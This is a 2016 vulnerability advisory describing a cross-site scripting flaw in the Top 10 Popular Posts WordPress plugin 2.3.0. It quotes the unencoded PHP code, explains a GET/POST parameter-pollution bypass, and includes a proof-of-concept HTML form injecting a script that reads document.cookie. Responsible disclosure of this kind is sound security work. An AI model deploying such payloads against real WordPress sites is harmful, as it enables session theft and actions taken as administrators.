WordPress Top 10 Popular Posts 2.3.0 Cross Site Scripting
Posted on 14 July 2016
------------------------------------------------------------------------ Cross-Site Scripting vulnerability in Top 10 - Popular posts plugin for WordPress ------------------------------------------------------------------------ Yorick Koster, July 2016 ------------------------------------------------------------------------ Abstract ------------------------------------------------------------------------ A Cross-Site Scripting vulnerability was found in the Top 10 - Popular posts WordPress Plugin. This issue allows an attacker to perform a wide variety of actions, such as stealing Administrators' session tokens, or performing arbitrary actions on their behalf. In order to exploit this issue, the attacker has to lure/force a logged on WordPress Administrator into opening a malicious website. ------------------------------------------------------------------------ OVE ID ------------------------------------------------------------------------ OVE-20160712-0017 ------------------------------------------------------------------------ Tested versions ------------------------------------------------------------------------ This issue was successfully tested on Top 10 - Popular posts plugin for WordPress WordPress Plugin version 2.3.0. ------------------------------------------------------------------------ Fix ------------------------------------------------------------------------ This issue is resolved in Top 10 version 2.3.1. ------------------------------------------------------------------------ Details ------------------------------------------------------------------------ https://sumofpwn.nl/advisory/2016/cross_site_scripting_vulnerability_in_top_10___popular_posts_plugin_for_wordpress.html The issue exists in the file class-stats.php and is caused by the lack of output encoding on the page request parameter. The vulnerable code is listed below. <form method="get"> <input type="hidden" name="page" value="<?php echo $_REQUEST['page'] ?>" /> <?php // If this is a search? if ( isset( $_REQUEST['s'] ) ) { $args['search'] = esc_sql( $_REQUEST['s'] ); } [...] </form> Normally, the page URL parameter is validated by WordPress, which prevents Cross-Site Scripting. However in this case the value of page is obtained from $_REQUEST, not from $_GET. This allows for parameter pollution where the attacker puts a benign page value in the URL and simultaneously submits a malicious page value as POST parameter. Proof of concept <html> <body> <form action="http://<target>/wp-admin/admin.php?page=tptn_popular_posts" method="POST"> <input type="hidden" name="page" value=""<script>alert(document.cookie);</script>" /> <input type="submit" value="Submit request" /> </form> </body> </html> ------------------------------------------------------------------------ Summer of Pwnage (https://sumofpwn.nl) is a Dutch community project. Its goal is to contribute to the security of popular, widely used OSS projects in a fun and educational way.
